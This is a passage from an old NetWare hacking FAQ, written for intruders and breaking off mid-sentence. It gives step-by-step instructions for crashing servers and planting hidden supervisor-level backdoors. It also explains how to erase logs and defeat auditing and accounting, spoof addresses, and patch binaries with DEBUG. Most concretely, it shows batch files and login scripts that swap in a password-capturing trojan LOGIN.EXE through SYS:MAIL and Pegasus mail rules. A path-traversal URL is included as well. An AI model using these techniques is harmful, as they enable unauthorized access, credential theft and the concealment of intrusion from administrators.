  1199..77..  WWhhaatt iiss PPaacckkeett SSiiggnnaattuurree aanndd hhooww ddoo II ggeett aarroouunndd iitt??

  Packet signatures works by using an intermediate step during the
  encrypted password login call, to calculate a 64-bit signature. This
  block is never transmitted over the wire, but it is used as the basis
  for a cryptographically strong signature ("secure hash") on the most
  important part of each NCP packet exchange.

  A signed packet can indeed be taken as proof sufficient that the
  packet came from the claimed PC.

  NCP Packet Signature is Novell's answer to the work of the folks in
  the Netherlands in hacking Netware. The idea behind it is to prevent
  forged packets and unauthorized Supervisor access. It is an add-on
  option in 3.11, but a part of the system with 3.12 and 4.x. Here are
  the signature levels at the client and server:

  Packet Signature Option and meaning: 0 = Don't do packet signatures 1
  = Do packet signatures if required 2 = Do packet signatures if you can
  but don't if the other end doesn't support them 3 = Require packet
  signatures

  You can set the same settings at the workstation. The default for
  packet signatures is 1 at the server and client. If you wish to use a
  tool like HACK.EXE, try setting the signature level at 0 on the client
  by adding Signature Level=0 in the client's NET.CFG. If packet
  signatures are required at the server you won't even get logged in,
  but if you get logged in, hack away.

  If you wish to change the signature level at the server, use a set
  command at the server console:

  SET NCP PACKET SIGNATURE OPTION=2

  As noted, the packet signature scheme only signs the important parts
  of NCP packets. Some NCP packets, including "fragmented" NCP packets,
  are not signed, and in some cases packet signature fucntions
  differently depending on the settings on the client. Also on Netware
  4.x, a server attachs as an object in the connection list, and the
  packet signature on this does not work properly even if the server is
  set to Option 3. Details regarding these flaws can be found in a white
  paper by NMRC members Jitsu-Disk and Simple Nomad at
  http://www.nmrc.org/pandora/DOCS/NCP.TXT
  <http://www.nmrc.org/pandora/DOCS/NCP.TXT>, and exploit code was
  released with Pandora v3.0 available from
  http://www.nmrc.org/pandora/download.html
  <http://www.nmrc.org/pandora/download.html>.



  2200..  NNeettwwaarree DDeenniiaall ooff SSeerrvviiccee

  This section contains info regarding Netware Denial of Service.


  2200..11..  HHooww ccaann II aabbeenndd aa NNeettwwaarree sseerrvveerr??

  These are per itsme:


  +o  Netware 4.1 : type 512 chars on the console + NENTER = abend

  +o  Netware 3.11 : NCP request 0x17-subfn 0xeb with a connection number
     higher than the maximum allowed will crash the server (yes you will
     need the APIs)

  If you have console access, try this:


  +o  At the server console type UNLOAD RENDIRFIX

  +o  Use your local copy of SYS:PUBLIC/RENDIR.EXE

  +o  In SYS:LOGIN type RENDIR   (login not required, just attaching to
     the server)

  Another thing to try, with console access, is LOAD RARPSERV.NLM
  quickly followed by UNLOAD RARPSERV.NLM which will abend a Netware
  4.11 server (tested with Service Pack 4 loaded). If RESTART AFTER
  ABEND is set (which is the default) the server will reboot. Using
  UNICON to UNLOAD RARPSERV.NLM and it should unload cleanly.

  There are several flaws regarding NCP that can allow for interesting
  Denial of Service that will crash a server.  One utility, Havoc, was
  released with Pandora <http://www.nmrc.org/pandora/index.html>, and a
  couple more (Burn and Yang) are available at
  http://www.nmrc.org/files/netware/
  <http://www.nmrc.org/files/netware/>.


  2200..22..  WWiillll WWiinnddoowwss 9955 ccaauussee sseerrvveerr pprroobblleemmss ffoorr NNeettwwaarree??

  By default Windows 95 shipped with long file names (LFN) and Packet
  Burst enabled, which created a unique problem -- if the server didn't
  have long name space loaded (OS/2 name space) it caused problems with
  files and occassionally crashed the server. But the worse one was
  Packet Burst. Unless you had at least a 3.11 server with the
  PBURST.NLM up and running, along with drivers for the server's network
  capable of handling Packet Burst, the buffer space used for network
  connections and/or the buffer space on the network card created
  problems ranging from lockups to timeouts to abends.

  There were a couple of different fixes you could do, like updating the
  server for long name space and Packet Burst (sorry Netware 2.x users),
  or you could update the clients' SYSTEM.INI file with the following
  entries:

  [nwredir] SupportBurst=0 SupportLFN=0

  Alternately, a frame type (802.3) that doesn't support Packet Burst
  could be used, and you could enforce no LFNs via system policies.


  2200..33..  WWiillll WWiinnddoowwss 9955 ccaauussee nneettwwoorrkk pprroobblleemmss ffoorr NNeettwwaarree??

  If File & Print Sharing for Netware is configured and you have non-
  Windows 95 users, there could be serious network problems. How does
  this happen? Here is a very simplified explanation -

  The way Netware advertises its file and print services is via
  Netware's proprietary (but widely documented) Service Advertising
  Protocol (SAP). How to get to these resources is communicated via
  Routing Information Protocol (RIP) packets. Both SAP and RIP info are
  transmitted broadcast style.  Netware servers and even intelligent
  networking equipment that conform to the SAP and RIP protocol scheme
  (like routers) share this info dynamically between each other.

  The problem is when Windows 95 is set up with File & Print Sharing for
  Netware, because the Windows 95 workstation does a lousy job of
  implementing and interacting with the SAP and RIP info. As any LAN/WAN
  specialist will tell you, extra SAPs can quickly waste bandwidth,
  causing timeouts and broadcast storms. And that is exactly what
  Windows 95 does. Netware 3.x and 4.x have released patches, but the
  easiest thing to do is simply NOT use File & Print Sharing under
  Windows 95 -- use Netware's file and print services like they're
  supposed to be used, or use Client/FPS for Microsoft networks instead.

  Can hackers take advantage of this? Here's the theory how:


  +o  Turn on File & Print Sharing for Netware in Windows 95.

  +o  On an SLIST the Windows 95 workstation will show up.

  +o  In a Netware 3.x and 4.x environment, there is an internal network
     number and an external number. Windows 95 will only show an
     external number, and since these numbers help determine how many
     hops away the service is, not having an internal one means
     (depending on your network layout) your Windows 95 workstation is
     one hop closer.

  +o  When a regular user boots up, the user needs to get to the nearest
     server to find his prefered server's location from the nearest
     server's SAP and RIP tables. Routers typically will simply pass on
     the name and address of the closest server attached to it. This
     with the hop counts will lead to a lot of attachments to the
     Winodws 95 server. Therfore even a PREFERED SERVER variable in the
     NET.CFG would not help.

  +o  To keep clients from timing out with an error, Microsoft passes the
     user onto the prefered server IF the Windows 95 server is set up
     with the same name.


  +o  In theory could create a \LOGIN directory and run your own
     LOGIN.EXE that grabbed the password and then send the client onto
     it's real server.

  What could prevent this? Well, in a WAN environment a router could be
  configured to only allow SAPs to come from certain segments, or every
  one of the workstations are running Windows 95 (which is probably
  Microsoft's solution). And even though I have heard from a dozen
  people stating that this could be done, no one has said they've done
  it (the alternate LOGIN directory and trojan LOGIN.EXE).




  2211..  NNeettwwaarree LLooggggiinngg aanndd BBaacckkddoooorrss

  This section contains info regarding logging and backdoors for
  Netware.


  2211..11..  HHooww ddoo II lleeaavvee aa bbaacckkddoooorr ffoorr NNeettwwaarree??

  Once you are in, you want to leave a way back with supe equivalency.
  You can use SUPER.EXE, written for the express purpose of allowing the
  non-supe user to toggle on and off supe equivalency. If you use the
  cheesy way in (previous question), you turn on the toggle before the
  admin removes your supe equivalency. If you gain access to a supe
  equivalent account, give Guest supe equivalency and then login as
  Guest and toggle it on.  Now get back in as the original supe account
  and remove the supe equivalency. Now Guest can toggle on supe
  equivalency whenever it's convenient.

  Of course Guest doesn't have to be used, it could be another account,
  like an account used for e-mail administration or an e-mail router, a
  gateway's account, you get the idea.

  Now SUPER.EXE is not completely clean. Running the Security utility or
  Bindfix will give away that an account has been altered at the bindery
  level, but the only way for an admin to clear the error is to delete
  and rebuild the account.


  2211..22..  WWhhaatt iiss tthhee rruummoorreedd ""bbaacckkddoooorr"" iinn NNDDSS??

  The rumored backdoor in NDS exists - to an extent. The rumor is that
  there is a way to set up a backdoor into a system in NDS that is
  completely hidden from everyone and everything. There IS a way to get
  real close to this, although how "hidden" it is remains to be seen.
  One catch - you need full access to NDS i.e. Admin access to set it
  up. But if you can get Admin's password or access to a user with Admin
  or equivalent access then you can put in a backdoor that may go
  unnoticed for months, or perhaps never be discovered. Here's how to
  set it up:


  +o  Get logged in as Admin or equivalent.

  +o  In NWADMIN highlight an existing container.

  +o  Create a new container inside this container.

  +o  Create a user inside this new container. No home directory.

  +o  Give this user full Trustee Rights to their own user object.


  +o  Give this user full Trustee Rights to the new container.

  +o  Make this user security equivalent to Admin.

  +o  Modify the ACL for the new user so they can't be seen.

  +o  Adjust the Inherit Rights Filter on the new container so no one can
     see it.

  Now this technique can be used by the paranoid admin that wants to
  give another user full access to a container, and this user wants to
  restrict access to this container. To prevent this user from
  forgetting their password (and making a section of the tree
  unmanageable or worse, disappear) an admin will use similiar
  techniques.

  I have not been able to fully test this but it looks completely
  invisible to the average LAN admin. This does require an above average
  knowledge of NDS to set up, so most administrators will not even know
  how to look for this user.

  Let's say you installed your backdoor at the XYZ Company, put your
  container inside the MIS container and called it BADBOY. Your backdoor
  is named BACKDOOR. Login like this:


        LOGIN .BACKDOOR.BADBOY.MIS.XYZ



  Now you will show up in the normal tools that show active connections
  on a server, so naming your backdoor "BACKDOOR" is probably not a
  great idea. Think of a name that might look like an automated
  attachment, and only use it when you think you won't be noticed.

  If the site has Kane Security Analyst, they can find the backdoor.

  It has come to our attention that there is now a tool from Novell
  Consutling's called "HOBJLOC"(hidden object locator) which may reveal
  the hidden object discussed above.


  2211..33..  WWhhaatt iiss tthhee bbiinnddeerryy bbaacckkddoooorr iinn NNeettwwaarree 44..xx??

  In developing Pandora, I discovered that the first user object in an
  NDS tree is a bindery object called Supervisor. This object gets its
  password set during install. To login, simply use the account name
  Supervisor. Early versions of DS.NLM do NOT assign a property to this
  object to even ALLOW you to set up Intruder Detection! Using the
  Intruder utility with Pandora v3.0, you can specifically attack this
  user account. Once logged in most administrative tools will not see
  it. An administrator cannot delete this account because an
  administrator cannot get to this account to delete it from NetAdmin or
  NwAdmin.

  Bindery context is not required to use this object.

  If an administrator creates a regular NDS account called Supervisor,
  this will defeat access to this object.

  For more information on this, check out
  http://www.nmrc.org/pandora/inside.html
  <http://www.nmrc.org/pandora/inside.html>.



  2211..44..  WWhheerree aarree tthhee ccoommmmoonn lloogg ffiilleess iinn NNeettwwaarree??

  There are several. Here is a list with their location and their
  purposes:


  +o  File Server Error Log - This log file is located at
     SYS:SYSTEM\SYS$ERR.LOG and is typically written to by the operating
     system. It is an ascii text file, and can be written to by anyone
     with read/write access to SYS:SYSTEM. It typically contains info
     like bindery open and closes, certain NLMs writing info messages,
     and of interest to hackers: intruder lockouts, remote console
     access attempts (failed or successful), and other security-related
     console alerts. Hackers should edit this file if they have hacked
     an account with access to SYS:SYSTEM.

  +o  Volume Error Log - This is a plain text file located on the root of
     every volume and is named VOL$LOG.ERR. Hackers should not pay
     attention to it unless you are mounting and unmounting volumes and
     don't want a record of it. Typically volume errors are written
     here.

  +o  Transaction Tracking Error Log - Transaction Tracking is a method
     of backing out data that was being written to the volume and the
     server suddenly stopped writing this data (like a crash of the
     server). It is plain text, found on the root of any Transaction
     Tracking defined volume, and is named TTS$LOG.ERR. Usually only the
     SYS volume (and possibly a volume with a SQL database on it, Sybase
     comes to mind) is set up for Transaction Tracking. If you're
     bouncing the server and wish to cover your tracks, this along with
     the other logs needs to be looked at.

  +o  Console Monitor Log - If a server is running the CONLOG.NLM,
     everything that rolls by on the main system console gets written to
     a log file. If you think your activities might write info to the
     console (especially if you've RCONSOLE'd in and are typing in
     commands). You may wish to edit this file. CONLOG.NLM will have to
     be unloaded first, as it has an exclusive lock on the log file,
     located at SYS:SYSTEM\CONSOLE.LOG.

  +o  Accounting - If accounting has been turned on on a Netware 3.x
     server, all logins and logouts will be time stamped into the
     SYS:SYSTEM\NET$ACCT.DAT file. For details on accounting, see the
     next couple of questions.

  +o  Auditing - Auditing in Netware 4.x and greater writes its data to
     files located in _NETWARE\*.CAF files. Normally found under SYS:,
     the _NETWARE directory is a hidden directory, but it also exists on
     other volumes.


  2211..55..  WWhhaatt iiss AAccccoouunnttiinngg??

  Accounting is Novell's pain in the butt way to control and manage
  access to the server in a way that is "accountable". The admin set up
  charge rates for blocks read and written, service requests, connect
  time, and disk storage. The account "pays" for the service by being
  given some number, and the accounting server deduces for these items.
  How the account actually pays for these items (departmental billing,
  cash, whatever) you may or may not want to know about, but the fact
  that it could be installed could leave a footprint that you've been
  there.

  Any valid account, including non-supe accounts, can check to see if
  Accounting is turned on. Simply run SYSCON and try to access
  Accounting, if you get a message that Accounting is not installed,
  then guess what?

  Since it is a pain to administer, many sys admins will turn it on
  simply to time-stamp each login and logout, track intruders, and
  include the node address and account name of each of these items.


  2211..66..  HHooww ddoo II ddeeffeeaatt AAccccoouunnttiinngg??

  Turn it off. And spoof your node address. Here's the steps -


  +o  Spoof your address. Use a supe account's typical node address as
     your own.

  +o  If you are using a backdoor, activate it with SUPER.EXE.

  +o  Delete Accounting by running SYSCON, selecting Accounting,
     Accounting Servers, hitting the delete key, and answering yes when
     asked if you wish to delete accounting. The last entry in the
     NET$ACCT.DAT file will be your login time-stamped with the spoofed
     node address.

  +o  Now do what you will in the system. Use a different account if you
     like, it won't show up in the log file.

  +o  When done, login with the original account, run SYSCON and re-
     install Accounting. Immediately logout, and the next line in the
     NET$ACCT.DAT file will be your logout, showing a login and logout
     with the same account name, nice and neat.

  If you can't spoof the address (some LAN cards don't allow it or
  require extra drivers you may not have), just turn off Accounting and
  leave it off or delete the NET$ACCT.DAT file located in the SYS:SYSTEM
  directory.

  It should be noted that to turn off and on Accounting you need supe
  equivalent, but you don't need supe equivalence to spoof the address.


  2211..77..  WWhhaatt iiss IInnttrruuddeerr DDeetteeccttiioonn??

  Intruder Detection is Novell's way of tracking invalid password
  attempts. While this feature is turned off by default, most sites
  practicing any type of security will at minimum turn this feature on.
  There are several parameters to Intruder Detection. First, there is a
  setting for how long the server will remember a bad password attempt.
  Typically this is set to 30 minutes, but can be as short as 10 minutes
  of as long as 7 days. Then there is a setting for how many attempts
  will lockout the account. This is usually 3 attempts, but can be as
  short as 1 or as many as 7. Finally is the length the account is
  locked out. The default is 30 minutes but it can range from 10 minutes
  to 7 days.

  When an Intruder Detection occurs, the server beeps and a time-stamped
  message is displayed on the System Console with the account name that
  is now locked out and the node address from where to attempt came
  from. This is also written to the File Server Error Log. A Supervisor
  or equivalent can unlock the account before it frees itself up, and
  the File Server Error Log can also be erased by a Supervisor or
  equivalent.

  In a large shop, it is not unusual to see Intruder Lockouts even on a
  daily basis, and forgetting a password is a typical regular-user thing
  to do. Intruder Lockouts on Supervisor or equivalent account is
  usually noticed.
  2211..88..  HHooww ddoo II cchheecckk ffoorr IInnttrruuddeerr DDeetteeccttiioonn??

  The easiest way to check for Intruder Detection is to play with a
  valid account that you know the password of. Try the wrong password
  several times. If Intruder Detection is on, the account will be locked
  out once you try to get back in with the correct password.


  2211..99..  WWhhaatt aarree ssttaattiioonn//ttiimmee rreessttrriiccttiioonnss??

  Time restrictions can be placed on an account to limit the times in
  which an account can be logged in. In the account is already logged in
  and the time changes to a restricted time, the account is logged out.
  The restriction can be per weekday down to the half hour. That means
  that if an admin wants to restrict an account from logging in except
  on Monday through Friday from 8-5, it can be done. Only Supervisor and
  equivalents can alter time restrictions. Altering the time at the
  workstation will not get you around time restrictions, only altering
  time at the server can change the ability to access.

  Station restriction place a restriction on where an account can be
  used. Restrictions can be to a specific token ring or ethernet
  segment, and can be specific down to the MAC layer address, or node
  address. The only way around a station restriction at the node address
  is to spoof the address from a workstation on the same segment or ring
  as the address you are spoofing. Like time restrictions, only
  Supervisor and equivalents can alter station restrictions.

  Of course you can remove station and time restrictions in SYSCON if
  you are a Supe equivalent.


  2211..1100..  HHooww ccaann II tteellll iiff ssoommeetthhiinngg iiss bbeeiinngg AAuuddiitteedd iinn NNeettwwaarree 44..xx??

  Use RCONSOLE and do a directory scan of SYS:_NETWARE. There will be
  some binary files named NET$AUDT.* if Auditing has been used. Old
  Audit files will be named NET$AUDT.AO0, .AO1, etc. A current Auditing
  file will be named NET$AUDT.CAF. If these files do not exist, no
  Auditing is being or has been done. To check to see if Auditing is
  currently active, try to open the current Auditing file like this:


        LOAD EDIT SYS:_NETWARE\NET$AUDT.CAF



  If it pulls up something (with a little garbage) then Auditing is
  currently turned off. If you get an error stating that NET$AUDT.CAF
  doesn't exist and do you wish to create it, that means the file is
  being hend open and Auditing is currently active on SOMETHING
  (remember, the EDIT.NLM normally handles open files pretty well, but
  trying to open a file already open in SYS:_NETWARE always gets this
  error).

  Also, if the site is running Novell's Web Server software, use a web
  browser and try
  http://www.target.com/scripts/convert.bas?../../_netware/net$audt.caf
  and if you DO NOT receive an error, Auditing is or was active.


  2211..1111..  HHooww ccaann II rreemmoovvee AAuuddiittiinngg iiff II lloosstt tthhee AAuuddiitt ppaasssswwoorrdd??

  If the Auditor forgets the password, try a simple wipe and reload.
  Hello, hello, you seemed to have fainted...


  You can try this although there is no guarantee it will work, it is
  just a theory. You see, the Auditing files are located in
  SYS:_NETWARE. As long as they are there and Auditing active, even
  deleting NDS and recreating it will not turn off Auditing. If you wish
  you can delete and rebuild SYS: which will get it. Try these listed
  items if you are desperate. I have tried them in the NMRC lab and got
  this to work a couple of times -- but once I trashed the server and
  NDS. One time it didn't work at all. But here it is:


        - Use RCONSOLE's directory scan and get the exact names of the Audit
          files, you know NET$AUDT.CAF but also files with an extension of .$AF
          are Auditing files, too.
        - Use the techniques in 06-2 and determine exactly which files are
          being held open by this particular server for Auditing.
        - Try booting up the server and running a sector editor.
        - Search the drive for the file names you found.
        - Change all occurrences of these names, save changes, and boot up.
        - If that didn't do the trick, try booting up the server using a 3.x
          SERVER.EXE and try and get to SYS:_NETWARE that way. Then delete the
          Auditing files.
        - If THAT doesn't work, use repeated calls to the SYS:_NETWARE's
          directory table (using the APIs) and either delete or change the
          afore mentioned files.



  Gee, maybe a "simple wipe and reload" is easier...


  2211..1122..  WWhhaatt iiss iinntteerreessttiinngg aabboouutt NNeettwwaarree 44..xx''ss lliicceennssiinngg??

  It is possible to load multiple licenses and combine their total
  number of users. For example, if you are in one of those Novell CNE
  classes where they give you a 2 user 4.1 license, you can get
  everyone's CD in class and combine them on one server. If you get 10
  CDs you have a 20 user license. I know of no limit to the maximum
  number of licenses and user limit, except for hardware limitations
  supporting it. This means you could load more than one copy of 1000
  user Netware 4.1 on a server (assuming you have unique copies, not the
  same copy twice).

  itsme has done some poking around with his tools, and has the
  following to say regarding the SERVER.EXE that comes with Netware 4:


   what's inside server.exe:
   0001d7c7  server.nlm          type=07
   000d319d  "Link" 000d504a
   000d31a5  unicode.nlm         type=00  (ordinary NLM)
   000d504a  "Link" 000d6e9c
   000d5052  dsloader.nlm        type=00  (ordinary NLM)
   000d6e9c  "Link" 000db808
   000d6ea4  timesync.nlm        type=00  (ordinary NLM)
   000db808  polimgr.nlm         type=0c  ('hidden' NLM)
     by editing the binary of server, and changing the type of polimgr.nlm
     from 0c to 00  (offset 007a or 000db882 in server.exe)
     it becomes unhidden.
     hidden NLM's are protected from debugging with the netware debugger.

     polimgr.nlm  manages the license files, after it reads the file,
     it checks with some kind of signature function whether it is a valid file
     the function doing the checking can be made to always return OK, then
     you can create an any number of users license.


  2211..1133..  WWhhaatt iiss tthhee WWoorrdd PPeerrffeecctt 55..11 ttrriicckk wwhheenn rruunnnniinngg NNeettwwaarree 33..xx
  oovveerr DDOOSS??

  It has been noted that when running Netware 3.x, specifically 3.12,
  over DOS, no windows at all, and you start Word Perfect version 5.1,
  enter a last name, then hit F5, you get access to the entire disk.
  NMRC is investigating and will keep you posted as to our results.





  2222..  NNeettwwaarree MMiisscc.. AAttttaacckk IInnffoo

  This section has miscellaneous information regarding hacking and
  Netware.


  2222..11..  HHooww ddoo II ssppooooff mmyy nnooddee oorr IIPP aaddddrreessss??

  This will depend greatly on what kind of network interface card (NIC)
  the workstation has, as to whether you can perform this function.
  Typically you can do it in the Link Driver section of the NET.CFG file
  by adding the following line - NODE ADDRESS xxxxxxxxxxxx where
  xxxxxxxxxxxx is the 12 digit MAC layer address. This assumes you are
  using Netware's ODI drivers, if you are using NDIS drivers you will
  have to add the line to a PROTOCOL.INI or IBMENII.NIF file, which
  usually has the lines already in it.

  Getting the target node address should be pretty easy. Login with any
  account and do a USERLIST /A. This will list all accounts currently
  logged in with their network and node address. If your workstation is
  on the same network as the target, you can spoof the address no
  problem. Actually you can spoof the address regardless but to defeat
  station restrictions you must be on the same network.

  For an IP address, you may have to run a TCPIP config program to make
  it work (it depends on whose IP stack you are running). Some
  implementations will have the mask, the default router and the IP
  address in the NET.CFG, some in the TCPIP.CFG. It is a good idea to
  look around in all network- related subdirectories to see if there are
  any .CFG, .INI, or .NIF files that may contain addresses.

  Forging the IP address is quite tricky, and many people have written
  to me asking for specific tips. Since there are a number of different
  IP implementations this is rather impractical. However here are a few
  important items to remember:


  +o  Most utilities that configure the IP address DO use an INI, CFG or
     NIF file of some type. Look for those files.

  +o  As workstation software becomes more complex, I have found that
     often the IP address is written in more than one place. You must
     get it in all of places it has been written. For example if you are
     running multiple protocols on one card, you may have to update
     several different config files including NET.CFG.

  +o  If the IP address you are trying to spoof is up and active, it is
     possible that you won't get anything to work at all, or it will be
     difficult. In large companies there is usually some monitoring to
     detect duplicate IP addresses. Netview is one example of a product
     that can be configured to look for this.

  +o  A company may have a class 2 address, and may have dozens of class
     3 subnets. If your subnet is 100.100.100.x and your default router
     is 100.100.100.254, trying to spoof 100.100.200.10 probably will
     not work very well.


  2222..22..  HHooww ccaann II sseeee hhiiddddeenn ffiilleess aanndd ddiirreeccttoorriieess??

  Instead of a normal DIR command, use NDIR to see hidden files and
  directories. NDIR *.* /S /H will show you just Hidden and System
  files.


  2222..33..  HHooww ddoo II ddeeffeeaatt tthhee eexxeeccuuttee--oonnllyy ffllaagg??

  If a file is flagged as execute-only, it can still be opened. Open the
  file with a program that will read in executables, and do a Save As to
  another location.

  Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't.
  But once again X-AWAY.EXE requires Supervisor access.

  To disable the check for Supe access in X-AWAY, try the following:


          REN X-AWAY.EXE WORK
          DEBUG WORK
          EB84 EB
          W
          Q
          REN WORK X-AWAY.EXE



  Hey presto, anybody can copy X flagged files. The only catch is you
  need practically full rights in the directory where the X flagged file
  resides.


  2222..44..  HHooww ccaann II hhiiddee mmyy pprreesseennccee aafftteerr aalltteerriinngg ffiilleess??

  The best way is to use Filer. Here are the steps for removing file
  alterations -


  +o  Run Filer or use NDIR and note the attributes of the target file,
     namely the date and owner of the file.

  +o  Make your changes or access the file.

  +o  Run Filer or use NDIR and check to see if the attributes have
     changed. If so, change them back to the original settings.

  While you can hit F1 will in Filer and get all the context-sensitive
  help you need, the quicky way to get where you're going is to run
  Filer in the target file's directory, select Directory Contents,
  highlight the target file and hit enter, select File Options and then
  View/Set File Information. View and edit to your heart's desire.


  2222..55..  WWhhaatt iiss aa NNeettwwaarree--aawwaarree ttrroojjaann??

  A Netware-aware trojan is a program that supposedly does one thing but
  does another instead, and does it using Netware API calls. I have
  never personally encountered one, but here is how they would work.



  +o  Trojan program is placed on a workstation, hopefully on one
     frequented by admins with Supe rights. The trojan program could be
     named something like CHKVOL.COM or VOLINFO.COM, that is a real name
     but with a .COM extension. They would be placed in the
     workstation's path.

  +o  Once executed, the trojan uses API calls to determine if the person
     is logged in as a Supe equivalent, if not it goes to the next step.
     Otherwise some type of action to breach security is performed.

  +o  The real CHKVOL.EXE or VOLINFO.EXE is ran.

  The breach of security would typically be some type of command-line
  activity that could be performed by system() calls. For example,
  PROP.EXE could be run to build a property and the replacement
  LOGIN.EXE copied up to the server in the SYS:LOGIN directory. Or RW
  access granted to the SYS:SYSTEM directory for a non-Supe user like
  GUEST.

  Once activated the trojan could also erase itself since it is no
  longer needed.


  2222..66..  WWhhaatt aarree TTrruusstteeee DDiirreeccttoorryy AAssssiiggnnmmeennttss??

  The LAN God has pointed out quite correctly that Trustee Directory
  Assignments are the most misunderstood and misconfigured portion of
  Novell Netware. Typically a secure site should have Read and File Scan
  only in most directories, and should not have any rights on the root
  directory of any volume. Rights assigned via the Trustee Directory
  Assignments filter down the directory tree, so if a user has Write
  access at the root directory, that user has Write access in every
  subdirectory below it (unless explicitly limited in a subdirectory
  down stream). And these assignments are not located in the bindery,
  but on each volume.

  The following is a brief description of Trustees and Trustee Directory
  Assignments cut and pasted from the comp.os.netware.security FAQ:

  [quote] A trustee is any user or group that has been granted access
  rights in a directory.

  The access rights in Novell NetWare 2 are slightly different from the
  ones in NetWare 3.

  The following is a summary of access rights for NetWare 3.

  S - Supervisory. Any user with supervisory rights in a directory will
  automatically inherit all other rights, regardless of whether they
  have been explicitly granted or not. Supervisor equivalent accounts
  will hold this access right in every directory.

  R - Read. Enables users to read files.

  C - Create. Enables users to create files and directories. Unless they
  also have write access, they will not be able to edit files which have
  been created.

  W - Write. Enables users to make changes to files. Unless they also
  have create access, they may not be able to edit files, since the
  write operation can only be used to extend files (not truncate them,
  which file editors need to do).

  E - Erase. Enable users to erase files and remove directories.


  M - Modify. Enable users to modify file attributes.

  F - File scan. Enables users to see file and directory information. If
  a user does not have file scan rights, they will not see any evidence
  of such files existing.

  A - Access control. Enable user to change trustee rights. They will be
  able to add other users as trustees, remove trustees, and grant/revoke
  specific rights from users. The only caveat of access control is that
  it is possible for users to remove themselves (as trustees) from
  directories, thus losing all access control.

  In addition to trustees and access rights, there is a concept of
  inherited rights which means that users inherit rights from parent
  directories. For example, if user ALICE has rights [CWEM] in a
  directory, and she has [RF] rights in the parent directory then she
  will have [RCWEMF] rights as a result of the inherited rights. This
  will only work if one of the rights that ALICE has in the two
  directories is granted to a group; if both are granted to her, she
  will lose the rights of the parent. [end quote]


  2222..77..  AArree tthheerree aannyy ddeeffaauulltt TTrruusstteeee AAssssiiggnnmmeennttss tthhaatt ccaann bbee
  eexxppllooiitteedd??

  Two ways. In 3.x the group EVERYONE has Create rights in SYS:MAIL.
  This means the user (including GUEST) has the ability to write files
  to any subdirectory in SYS:MAIL. The first versions of Netware
  included a simple e-mail package, and every user that is created gets
  a subdirectory in mail with RCWEMF, named after their object ID
  number. One consistent number is the number 1, which is always
  assigned to Supervisor. Here's one way to exploit it:


































  Trick #1
  --------

  - Login as GUEST and change to the SYS:MAIL subdirectory.
  - Type DIR. You will see one subdirectory, the one owned by GUEST. Change into that
    directory (ex. here is C0003043)
  - Type DIR. If there is no file named LOGIN, you can bet there may not be one for
    Supervisor. If there is a default-looking LOGIN file, even a zero length file, you
    cannot proceed.
  - Copy PROP.EXE and LOGIN.EXE (the itsme version) to SYS:MAIL\C0003043
  - Create a batch file (ex. here is BOMB.BAT) with the following entries:

    @ECHO OFF
    FLAG \LOGIN\LOGIN.EXE N > NUL
    COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
    FLAG \LOGIN\LOGIN.EXE SRO > NUL
    \MAIL\C0003043\PROP -C > NUL

  - Create a LOGIN file with the following entries:

    MAP DISPLAY OFF
    MAP ERRORS OFF
    MAP G:=SYS:
    DRIVE G:
    COMMAND /C #\MAIL\1\BOMB
    DRIVE F:
    MAP DELETE G:

  - Now copy the files to the Supervisor's SYS:MAIL directory from a drive mapped to
    the SYS: volume.

    TYPE BOMB.BAT > \MAIL\1\BOMB.BAT
    TYPE LOGIN > \MAIL\1\LOGIN

  - The next time the Supervisor logs in the LOGIN.EXE is replaced and the PROP.EXE
    file is run, capturing passwords. Run PROP.EXE later to get the passwords, and
    then once you have all the passwords you need (including Supervisor) delete your
    LOGIN and BOMB.BAT file.



  Admins can defeat this by creating default personal Login Scripts or
  by adding an EXIT command to the end of the System Login Script. Later
  versions of Netware create a zero-length LOGIN file at ID creation
  time in the SYS:MAIL directories to defeat this.





















  Trick #2
  --------

  Pegasus mail has a hole that ties into the Create rights in SYS:MAIL. Here's how
  to use it:

  - Create a RULES.PMQ file that sets up a rule to execute a file after receipt of a
    mail message. The program Run line should be something like:

      COMMAND /C F:\MAIL\1\BOMB.BAT

  - Let's say your mail directory is SYS:MAIL\C0003043. Copy PROP.EXE and LOGIN.EXE
    (the itsme version) to that directory.

  - Your BOMB.BAT file should be like this:

    @ECHO OFF
    FLAG \LOGIN\LOGIN.EXE N > NUL
    COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
    FLAG \LOGIN\LOGIN.EXE SRO > NUL
    \MAIL\C0003043\PROP -C > NUL

  - When the Supe reads his mail, the replacement LOGIN.EXE is active and capturing
    passwords. After acquiring a Supe equiv account, delete the rogue files from
    SYS:MAIL\1



  This Pegasus mail problem will only work if the RULES.PMQ does not
  exist in the target directory.


  Trick #2a
  ---------

  If the RULES.PMQ file exists, obviously you cannot do this. After all, you can
  only create new files to these directories. But here's a way to try and trick
  the Supe into deleting it for you:

  - Create a bunch of extra rules for Pegasus. Name them RULEA.PMQ through
    RULER.PMQ, and RULET.PMQ through RULEZ.PMQ.
  - Next time the Supe logs in and accesses mail, errors.
  - The Supe deletes RULE?.PMQ to fix the problem, and RULES.PMQ is also removed.
  - Now do Trick #2




  2222..88..  WWhhaatt aarree ssoommee ggeenneerraall wwaayyss ttoo eexxppllooiitt TTrruusstteeee RRiigghhttss??

  To find out all your trustee rights, use the WHOAMI /R command. The
  following section is a summary of what rights to expect, and the
  purpose. Where x appears, it means it doesn't matter if the right is
  set.












  [SRWCEMFA] means you have FULL rights. They are all eight of the effective
          rights flags.

  [Sxxxxxxx] shouldn't appear unless you are supervisor (or equivalent).
          It means you have full access in that directory and all subdirectories.
          You cannot be excluded from any directory, even if a user explicitly
          tries to revoke your access in a subdirectory.

  [xxxxxxxA] is next best thing to the S right. It means you have access
          control in that directory and all subdirectories. You can have your
          access control (along with any other rights) revoked in a subdirectory,
          but you can always use inherited rights to recover them (see the
          c.o.n.s FAQ).

  [ R    F ] is what users should have in directories containing software.
          You have the right to read files only.

  [ RCWEMFx] is what users should have in their home directory. You can read,
          create, and edit files. If you find any unusual directories with
          these rights, they can also be used for storing files (maybe an abuse
          of the network, especially if this is exploited to avoid quota
          systems).

  [ RxW  F ] usually means that the directory is used for keeping log files.
          Unless you have the C right, it may not be possible to edit files in
          this directory.


  The RIGHTS commands tells you what rights you have in a particular
  directory. GRANT, REVOKE, and REMOVE are used to set trustee rights.


  2222..99..  CCaann aacccceessss ttoo ..NNCCFF ffiilleess hheellpp mmee??

  Access to any .NCF file can bypass security, as these files are
